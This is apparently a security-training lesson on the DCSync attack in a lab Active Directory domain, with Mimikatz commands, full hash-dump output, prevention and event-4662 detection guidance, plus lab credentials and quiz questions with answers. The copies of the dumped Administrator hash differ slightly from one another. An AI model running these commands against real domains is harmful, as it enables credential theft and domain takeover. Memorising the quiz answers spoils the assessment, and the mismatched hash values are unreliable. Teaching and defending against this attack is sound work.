

DC Sync

Description

DC Sync is an attack that threat agents utilize to impersonate a Domain Controller and perform replication with a targeted Domain Controller to extract password hashes from Active Directory. The attack can be performed both from the perspective of a user account or a computer, as long as they have the necessary permissions assigned, which are:

- Replicating Directory Changes
- Replicating Directory Changes All

Attack

We will utilize the user **Rocky** (whose password is **Slavi123**) to showcase the **DC Sync** attack. When we check the permissions for Rocky, we see that he has **Replicating Directory Changes** and **Replicating Directory Changes All** assigned:

eagle.local Properties

General Managed By Object Security Attribute Editor

Group or user names:

- CREATOR OWNER
- SELF
- Authenticated Users
- SYSTEM
- Rocky Balboa (rocky@eagle.local)**
- Enterprise Read-only Domain Controllers (EAGLE\Enterprise Re...)

Add... Remove

Permissions for Rocky Balboa	Allow	Deny
Replicating Directory Changes	<input checked="" type="checkbox"/>	<input type="checkbox"/>
Replicating Directory Changes All	<input checked="" type="checkbox"/>	<input type="checkbox"/>
Replicating Directory Changes In Filtered Set	<input type="checkbox"/>	<input type="checkbox"/>
Replication synchronization	<input type="checkbox"/>	<input type="checkbox"/>
Run Protect Admin Groups Task	<input type="checkbox"/>	<input type="checkbox"/>

For special permissions or advanced settings, click Advanced.

Advanced

OK Cancel Apply Help

Cheat Sheet

? Go to Questions

Table of Contents

Setting the stage

- Introduction and Terminology
- Overview and Lab Environment

Attacks & Defense

- Kerberoasting
- AS-REPROasting
- GPP Passwords
- GPO Permissions/GPO Files
- Credentials in Shares
- Credentials in Object Properties
- DC Sync**
- Golden Ticket
- Kerberos Constrained Delegation
- Print Spooler & NTLM Relaying
- Coercing Attacks & Unconstrained Delegation
- Object ACLs
- PKI - ESC1

Skills Assessment

- Skills Assessment

My Workstation

O F F L I N E

Start Instance

∞ / 1 spawns left

First, we need to start a new command shell running as Rocky:

```
DCSync  
C:\Users\bob\Downloads>runas /user:eagle\rocky cmd.exe  
Enter the password for eagle\rocky:  
Attempting to start cmd.exe as user "eagle\rocky" ...
```

```
Command Prompt  
C:\Users\bob\Downloads>runas /user:eagle\rocky cmd.exe  
Enter the password for eagle\rocky:  
Attempting to start cmd.exe as user "eagle\rocky" ...  
C:\Users\bob\Downloads>  
New prompt as Rocky  
cmd.exe (running as eagle\rocky)
```

Subsequently, we need to use [Mimikatz](#), one of the tools with an implementation for performing DCSync. We can run it by specifying the username whose password hash we want to obtain if the attack is successful, in this case, the user 'Administrator':

```
DCSync  
C:\Mimikatz>mimikatz.exe  
mimikatz # lsadump:::dcsync /domain:eagle.local /user:Administrator  
[DC] 'eagle.local' will be the domain  
[DC] 'DC2.eagle.local' will be the DC server  
[DC] 'Administrator' will be the user account  
[rpc] Service : ldap  
[rpc] AuthnSvc : GSS_NEGOTIATE (9)  
Object RDN : Administrator  
** SAM ACCOUNT **  
SAM Username : Administrator  
Account Type : 30000000 ( USER_OBJECT )  
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )  
Account expiration :  
Password last change : 07/08/2022 11.24.13  
Object Security ID : S-1-5-21-1518138621-4282902758-752445584-500  
Object Relative ID : 500  
Credentials:  
Hash NTLM: fcde65703dd2b0bd789977f1f3eeaeacf  
Supplemental Credentials:  
* Primary:NTLM-Strong-NTOWF *  
    Random Value : 6fd69313922373216cdbbfa823bd268d  
* Primary:Kerberos-Newer-Keys *  
    Default Salt : WIN-FM93RI8Q0KQAdministrator  
    Default Iterations : 4096  
    Credentials  
        aes256_hmac (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cf3  
        aes128_hmac (4096) : 4667ae9266d48c01956ab9c869e4370f  
        des_cbc_md5 (4096) : d9b53b1f6d7c45a8  
* Packages *  
    NTLM-Strong-NTOWF  
* Primary:Kerberos *  
    Default Salt : WIN-FM93RI8Q0KQAdministrator  
    Credentials  
        des_cbc_md5 : d9b53b1f6d7c45a8
```

```
mimikatz # lsadump::dcsync /domain:eagle.local /user:Administrator
[DC] 'eagle.local' will be the domain
[DC] 'DC2.eagle.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 07/08/2022 12.24.13
Object Security ID : S-1-5-21-1518138621-4282902758-752445584-500
Object Relative ID : 500

Credentials:
Hash NTLM: fcdb65703dd2b0bd789977f1f3eeaeecf
```

It is possible to specify the `/all` parameter instead of a specific username, which will dump the hashes of the entire AD environment. We can perform `pass-the-hash` with the obtained hash and authenticate against any Domain Controller.

Prevention

What DCSync abuses is a common operation in Active Directory environments, as replications happen between Domain Controllers all the time; therefore, preventing DCSync out of the box is not an option. The only prevention technique against this attack is using solutions such as the [RPC Firewall](#), a third-party product that can block or allow specific RPC calls with robust granularity. For example, using [RPC Firewall](#), we can only allow replications from Domain Controllers.

Detection

Detecting DCSync is easy because each Domain Controller replication generates an event with the ID [4662](#). We can pick up abnormal requests immediately by monitoring for this event ID and checking whether the initiator account is a Domain Controller. Here's the event generated from earlier when we ran [Mimikatz](#); it serves as a flag that a user account is performing this replication attempt:

Event 4662, Microsoft Windows security auditing.

General

Details

An operation was performed on an object.

Subject :

Security ID:	EAGLE\rocky
Account Name:	rocky
Account Domain:	EAGLE
Logon ID:	0x1EB0C4C

Account name is not
a Domain Controller

Object:

Object Server:	DS
Object Type:	domainDNS
Object Name:	DC=eagle,DC=local
Handle ID:	0x0

Operation:

Operation Type:	Object Access
Accesses:	Control Access

Access Mask: 0x100
Properties: Control Access
 {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
domainDNS

Additional Information:

Parameter 1: -
Parameter 2:

Since replications occur constantly, we can avoid false positives by ensuring the followings:

- Either the property `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` or `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` is present in the event.
- Whitelisting systems/accounts with a (valid) business reason for replicating, such as [Azure AD Connect](#) (this service constantly replicates Domain Controllers and sends the obtained password hashes to Azure AD).

VPN Servers

⚠ Warning: Each time you "Switch", your connection keys are regenerated and you must re-download your VPN connection file.

All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.

Existing PwnBox instances will automatically switch to the new VPN server.

US Academy 3

Medium Load ▾

PROTOCOL

UDP 1337 TCP 443

[DOWNLOAD VPN CONNECTION FILE](#)



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

UK

162ms ▾

[ⓘ Terminate Pwnbox to switch location](#)

[Start Instance](#)

∞ / 1 spawns left

Waiting to start...

Enable step-by-step solutions for all questions  

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target(s): [Click here to spawn the target system!](#)

 RDP to with user "**bob**" and password "**Slavi123**"

+ 1  Connect to the target and perform a DCSync attack as the user **rocky** (password:**Slavi123**). What is the NTLM hash of the Administrator user?

`fcde65703dd2b0bd789977f1f3eeaecf`

 Cheat Sheet

 Download VPN Connection File

 Submit

+ 0  After performing the DCSync attack, connect to DC1 as 'htb-student:HTB_@cademy_stdnt!' and look at the logs in Event Viewer. What is the Task Category of the events generated by the attack?

Directory Service Access

 Submit

 Previous

Next 

 Mark Complete & Next

Powered by 

